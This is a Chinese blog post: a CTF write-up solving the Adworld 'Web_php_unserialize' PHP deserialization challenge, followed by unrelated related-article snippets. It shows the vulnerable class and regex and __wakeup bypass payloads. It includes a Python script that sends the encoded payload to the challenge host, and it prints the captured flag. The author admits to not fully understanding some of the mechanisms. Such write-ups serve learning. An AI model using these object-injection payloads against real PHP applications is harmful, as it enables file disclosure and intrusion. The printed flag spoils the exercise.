【web | CTF】攻防世界 Web_php_unserialize

2024-02-22 22:04

本文主要是介绍【web | CTF】攻防世界 Web_php_unserialize,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

天命:这条反序列化题目也是比较特别,里面的漏洞知识点,在现在的php都被修复了

天命:而且这次反序列化的字符串数量跟其他题目不一样

 <?php 
class Demo { // 初始化给变量内容,也就是当前文件,高亮显示出来private $file = 'index.php';// 初始化触发函数:把我们输入的东西放入属性变量里,就是我们反序列化的时候输入的东西public function __construct($file) { $this->file = $file; }// 销毁时候触发,相当于是打印flag文件出来function __destruct() { echo @highlight_file($this->file, true); }// 这个方法不会触发,估计是旧版本的php,满足某些情况所以没有触发// 纯碎用来吓人,我还研究了一晚上如何让  fl4g.php == index.php// fl4g.php == index.php,就算是弱比较也是不可能相等的function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php  // 直接访问是空气$this->file = 'index.php'; } } 
}
if (isset($_GET['var'])) { $var = base64_decode($_GET['var']); // 即是重点,也是难点,更是无用的点// 现在版本的php都已经修复了if (preg_match('/[oc]:\d+:/i', $var)) { die('stop hacking!'); } else {@unserialize($var); } 
} else { highlight_file("index.php"); 
} 
?>

坑点:__wakeup函数可以忽略,根本不会触发,

麻痹研究了我一晚上如何才能让  fl4g.php == index.php 

最后结论:就算是弱比较,也不可能相等,没有其他办法

所以只需要绕过正则表达式即可,不会正则表达式自己去学习

既不简单,也不难,我也学了几天才算比较掌握
 

【绕过点一】绕过正则,在O:4: 改成 O:+4: 就可以了

多一个+号(具体原理也不清楚,反正当是刷经验了,上古版本的php才有的漏洞)

【绕过点二】绕过 __wakeup函数,把反序列化中的内容数量,从1改成2即可

至少很大概率是这样绕过,看别人wp讲的

大概意思应该是当反序列化的  属性变量数  大于  当前类的属性变量数 的时候,就什么安全性因素,就不触发

【绕过点三】加上\00

变量名:Demofile 变成  \00Demo\00, 字符个数+2就行:s:10:"\00Demo\00file"

这里可能是因为 private 的原因,所以是+2

其他题目是protected,就是+3

也不确定是不是肯定,做的反序列化题目还不够多

【最终改变】

O:4:"Demo":1:{s:10:"Demofile";s:3:"aaa";}

O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}

写上测试脚本

import requests,base64# 两个payload都可以
str = 'O:+4:"Demo":2:{s:10:"\x00Demo\x00file";s:8:"fl4g.php";}'
str = 'O:+4:"Demo":2:{s:10:"\00Demo\00file";s:8:"fl4g.php";}'# 编码
base64_str = base64.b64encode(str.encode('utf-8')).decode('utf-8')# 发送请求
res = requests.get('http://61.147.171.105:56675?var='+base64_str)
if "flag" in res.text:print("成功了")

base64:TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}

这篇关于【web | CTF】攻防世界 Web_php_unserialize的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/736632

相关文章

如何使用Python进行Web开发,如Flask或Django?

Python是一种非常流行的Web开发语言,它提供了多种框架来帮助开发者快速构建Web应用程序。Flask和Django是两个非常受欢迎的Python Web框架,它们各有特点和优势。 Flask Flask是一个轻量级的Web应用框架,它易于上手且灵活。Flask适合小型项目和微服务架构,也适用于大型项目的原型设计阶段。 1.安装Flask: pip install Flask 2.创

【网络编程】web服务器shttpd源码剖析——命令行和文件配置解析

hello !大家好呀! 欢迎大家来到我的网络编程系列之web服务器shttpd源码剖析——命令行解析,在这篇文章中,你将会学习到在Linux内核中如何创建一个自己的并发服务器shttpd,并且我会给出源码进行剖析,以及手绘UML图来帮助大家来理解,希望能让大家更能了解网络编程技术!!! 希望这篇文章能对你有所帮助,大家要是觉得我写的不错的话,那就点点免费的小爱心吧!

热烈祝贺中国特医首次获得蒙特国际品质奖!中国特医健效达品质永攀世界高峰

近日,第63届Monde Selection品质评鉴活动圆满落幕,健效达旗下优康力和优益力产品凭借其卓越品质,成功摘得世界蒙特奖,这是中国特医食品首次获得蒙特奖国际品质奖。 健效达特医树立世界特医新标杆,永攀世界高峰,实力加冕。值得一提的是,健效达优康力和优益力的获奖,这是对中国特医食品品质的国际认可。这一殊荣不仅是对健效达品牌努力的肯定,更是对中国特医食品在国际市场上品质提升的重要体现

世界上最好的开发语言还是PHP吗?

PHP做为一种轻量级开发语言,从2004年到现在都饱受争议,但是PHP的定位其实一直都算是比较清晰,主要支撑于中小企业的Web应用方面,到现在为止,互联网上应用最高的应用WordPress也是PHP语言所开发的。PHP的很多开发框架的使用量也居高不下,比如Laravel等等。PHP的开发依然广泛运用于建站,游戏服务端开发等等 昨晚和朋友聚餐喝酒,桌上一位老伙伴跟我吐槽,说PHP现在找工作越来越难

[b01lers CTF 2024] crypto/pwn 部分

作了4天了,还差些,后边也就看不懂了。先把作的和问完了别人作的记录一下。 Crypto choose_the_param #!/usr/bin/python3from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrimeimport osfrom secret import flagpadded_flag =

PHP命令执行漏洞CVE-2024-1874复现

CVE-2024-1874 PHP命令执行漏洞 影响版本 Affected versions < 8.1.28 < 8.2.18 < 8.3.5 Patched versions 8.1.28 8.2.18 8.3.6 POC 创建一个文件test.php <?php$descriptorspec = [STDIN, STDOUT, STDOUT];$proc = proc_

Arduino基础入门篇01—进入Arduino的世界

欢迎来到Arduino的世界,本文主要介绍Arduino的优势,开发所涉及的硬件分类,开发语言及开发环境的下载。可登陆Arduino官网学习了解更多Arduino信息。 什么是Arduino Arduino 是一款便捷灵活、方便上手的开源电子原型平台,包含硬件(各种型号的arduino板)和软件(arduino IDE),她适用于艺术家、设计师、爱好者和对于“互动”有兴趣的朋友们。 Ardu

Arduino遇到Node.js:通过Web界面控制LED的亮度

作者:Abhiemanyu Pandit 编译:Tony 我们已经看到了许多使用不同的微控制器和不同的编程语言使LED闪烁的示例。今天,我们将使用非常流行的JavaScript框架Node.js来控制连接到Arduino Uno的LED。我们还将使用Node.js通过Arduino 控制网页上的LED亮度。通过少量的调整和使用ESP8266,就可以将其转换为一个IoT项目,可以在任何地方控

【JavaWeb】Day47.Mybatis基础操作——删除

Mybatis基础操作 需求 准备数据库表 emp 创建一个新的springboot工程,选择引入对应的起步依赖(mybatis、mysql驱动、lombok) application.properties中引入数据库连接信息 创建对应的实体类 Emp(实体类属性采用驼峰命名) 准备Mapper接口 EmpMapper @Mapper注解:表示当前接口为mybatis中

web安全学习笔记(9)

记一下第十三课的内容。 准备工作:在根目录下创建template目录,将login.html放入其中,在该目录下新建一个reg.html。在根目录下创建一个function.php 一、函数声明与传参 PHP中的函数定义和其他语言基本上是相同的。我们编辑function.php <?php#自定义函数#系统函数#函数传参function alert($msg, $url){retu